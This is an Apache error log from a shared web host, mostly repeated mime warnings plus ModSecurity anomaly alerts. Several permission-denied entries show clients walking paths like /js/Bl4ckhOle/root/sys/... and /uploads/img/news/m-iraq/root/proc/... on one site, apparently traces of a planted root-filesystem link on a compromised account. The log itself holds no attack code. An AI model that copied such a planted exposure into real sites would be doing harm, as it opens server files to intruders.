[Fri Jul 17 10:31:30.977767 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.977813 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.977858 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.977903 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.977947 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.977991 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.978036 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.978096 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.978140 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.978183 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.978228 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.978405 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.978447 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.978491 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.978535 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.978579 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.978620 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.978667 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.978728 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.978778 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.978848 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.978891 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.978935 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.978979 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.979022 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.979121 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.979282 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.979311 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.979338 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.979363 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.979388 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.979424 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.979450 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.979475 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.979500 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.979525 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.979550 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.979576 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.979601 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.979626 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.979651 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.979685 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.979715 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.979741 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.979765 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.979794 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.979818 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.979843 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.979869 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.979895 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.979919 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.979945 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.979970 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.979995 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:30.980020 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:31.082845 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:31.285838 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:31.386985 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:31.590148 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:32.574443 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:32.949631 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:32.953832 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:32.959258 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:33.018624 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:33.089971 2026] [core:error] [pid 2075780:tid 2075780] (13)Permission denied: [client 47.82.15.173:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/fs/cgroup/memory/system.slice/home-cagefs\\x2dskeleton-opt-imunify360-proactive.mount/cgroup.event_control
[Fri Jul 17 10:31:33.120773 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:33.224006 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:33.426990 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:33.550129 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:33.937907 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:34.038302 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:34.392515 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:34.743537 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:34.956282 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:35.149642 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:35.392193 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:35.556909 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:35.658467 2026] [core:error] [pid 2075723:tid 2075723] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty13/subsystem/ttyS1/device/driver/uevent
[Fri Jul 17 10:31:35.766471 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:35.803817 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:35.865541 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:36.067369 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:36.674961 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:36.675614 2026] [security2:error] [pid 2081373:tid 2081373] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/lib/firmware/nvidia/tu104/acr/"] [unique_id "alm3MEPK-OIDVxiTM0dxPQAAABY"]
[Fri Jul 17 10:31:36.675646 2026] [security2:error] [pid 2081373:tid 2081373] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/lib/firmware/nvidia/tu104/acr/"] [unique_id "alm3MEPK-OIDVxiTM0dxPQAAABY"]
[Fri Jul 17 10:31:36.777897 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:36.877700 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:36.981434 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:37.087506 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:37.184968 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:37.212854 2026] [core:error] [pid 2075901:tid 2075901] (13)Permission denied: [client 57.141.18.87:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory93/subsystem/devices/memory76/node0/memory122/subsystem/devices/memory133/subsystem/uevent
[Fri Jul 17 10:31:37.713337 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:37.813917 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:37.914770 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:37.998865 2026] [ssl:error] [pid 2075901:tid 2075901] (70014)End of file found: [client 66.85.158.91:34404] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:31:38.219828 2026] [core:error] [pid 2081373:tid 2081373] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty61/subsystem/ttyS2/device/driver/uevent
[Fri Jul 17 10:31:38.325775 2026] [core:error] [pid 2081358:tid 2081358] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty20/subsystem/ttyS2/device/driver/uevent
[Fri Jul 17 10:31:38.426961 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:38.448116 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:38.450802 2026] [security2:error] [pid 2076132:tid 2076132] [client 47.82.53.158:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/116:3/device/controlC0/subsystem/timer/subsystem/"] [unique_id "alm3MgTUp7iFPeTAJ9d3pAAAAAU"]
[Fri Jul 17 10:31:38.450826 2026] [security2:error] [pid 2076132:tid 2076132] [client 47.82.53.158:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/116:3/device/controlC0/subsystem/timer/subsystem/"] [unique_id "alm3MgTUp7iFPeTAJ9d3pAAAAAU"]
[Fri Jul 17 10:31:38.481312 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:38.528506 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:38.628199 2026] [core:error] [pid 2075692:tid 2075692] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty28/subsystem/ttyS2/device/driver/uevent
[Fri Jul 17 10:31:38.735524 2026] [core:error] [pid 2075780:tid 2075780] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty46/subsystem/ttyS2/device/driver/uevent
[Fri Jul 17 10:31:38.842410 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:39.048456 2026] [core:error] [pid 2081358:tid 2081358] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/hid/drivers/hid-sensor-hub/uevent
[Fri Jul 17 10:31:39.149866 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:39.254501 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:39.658971 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:39.766399 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:39.866468 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:40.167904 2026] [core:error] [pid 2081387:tid 2081387] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/hid/drivers/hid-generic/uevent
[Fri Jul 17 10:31:40.215956 2026] [ssl:error] [pid 2076194:tid 2076194] (70014)End of file found: [client 66.85.158.91:34474] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:31:40.476824 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:40.676488 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:40.933373 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:40.981140 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:41.186549 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:41.289905 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:41.391419 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:41.492111 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:41.599288 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:41.699961 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:41.999748 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:42.206748 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:42.306260 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:42.406733 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:42.855961 2026] [core:error] [pid 2075692:tid 2075692] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty50/subsystem/ttyS2/uartclk
[Fri Jul 17 10:31:42.939922 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:43.099631 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:43.114901 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:43.216203 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:43.418334 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:43.566660 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:43.566771 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:43.566800 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:43.566821 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:43.566841 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:43.566871 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:43.566890 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:43.620617 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:43.726661 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:43.827331 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:44.539927 2026] [core:error] [pid 2076132:tid 2076132] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/bus/hid/drivers/magicmouse/bind
[Fri Jul 17 10:31:44.587503 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:44.633091 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:44.731328 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:44.831650 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:45.559108 2026] [ssl:error] [pid 2075904:tid 2075904] (70014)End of file found: [client 66.85.158.91:34792] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:31:45.649320 2026] [security2:error] [pid 2075978:tid 2075978] [client 34.74.242.206:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "sysnytech.com"] [uri "/index.php"] [unique_id "alm3FmFjrl6DCT-Pyn8VuQAAAAo"]
[Fri Jul 17 10:31:46.059858 2026] [security2:error] [pid 2075705:tid 2075705] [client 216.244.66.235:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "bostonlanka.com"] [uri "/\\xe0\\xb6\\xaf\\xe0\\xb7\\x9a\\xe0\\xb7\\x81\\xe0\\xb6\\xb6\\xe0\\xb6\\xb1\\xe0\\xb7\\x8a\\xe0\\xb6\\xaf\\xe0\\xb7\\x94\\xe0\\xb6\\xa7-\\xe0\\xb6\\x91\\xe0\\xb6\\xbb\\xe0\\xb7\\x99\\xe0\\xb7\\x84\\xe0\\xb7\\x92-\\xe0\\xb6\\xb4\\xe0\\xb7\\x94\\xe0\\xb6\\xaf\\xe0\\xb7\\x8a\\xe0\\xb6\\x9c\\xe0\\xb6\\xbd\\xe0\\xb7\\x92\\xe0\\xb6\\x9a/feed/"] [unique_id "alm3OvVsLAz87UqRdDoYuwAAAAA"]
[Fri Jul 17 10:31:46.060271 2026] [security2:error] [pid 2075705:tid 2075705] [client 216.244.66.235:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bostonlanka.com"] [uri "/\\xe0\\xb6\\xaf\\xe0\\xb7\\x9a\\xe0\\xb7\\x81\\xe0\\xb6\\xb6\\xe0\\xb6\\xb1\\xe0\\xb7\\x8a\\xe0\\xb6\\xaf\\xe0\\xb7\\x94\\xe0\\xb6\\xa7-\\xe0\\xb6\\x91\\xe0\\xb6\\xbb\\xe0\\xb7\\x99\\xe0\\xb7\\x84\\xe0\\xb7\\x92-\\xe0\\xb6\\xb4\\xe0\\xb7\\x94\\xe0\\xb6\\xaf\\xe0\\xb7\\x8a\\xe0\\xb6\\x9c\\xe0\\xb6\\xbd\\xe0\\xb7\\x92\\xe0\\xb6\\x9a/feed/"] [unique_id "alm3OvVsLAz87UqRdDoYuwAAAAA"]
[Fri Jul 17 10:31:46.131173 2026] [security2:error] [pid 2075705:tid 2075705] [client 216.244.66.235:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "alm3OvVsLAz87UqRdDoYuwAAAAA"]
[Fri Jul 17 10:31:46.522133 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:46.523257 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:46.617865 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:46.643898 2026] [security2:error] [pid 2075908:tid 2075908] [client 34.74.242.206:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "sysnytech.com"] [uri "/index.php"] [unique_id "alm3IEj_u9-aE9qeQW0eYwAAAAk"]
[Fri Jul 17 10:31:46.653452 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:47.588320 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:47.688473 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:47.788080 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:47.889934 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:47.998055 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:48.109709 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:48.207610 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:48.314599 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:48.418763 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:48.516534 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:48.516640 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:48.617799 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:48.720248 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:48.821388 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:48.927898 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:49.123516 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:49.147363 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:49.226271 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:49.328934 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:49.427206 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
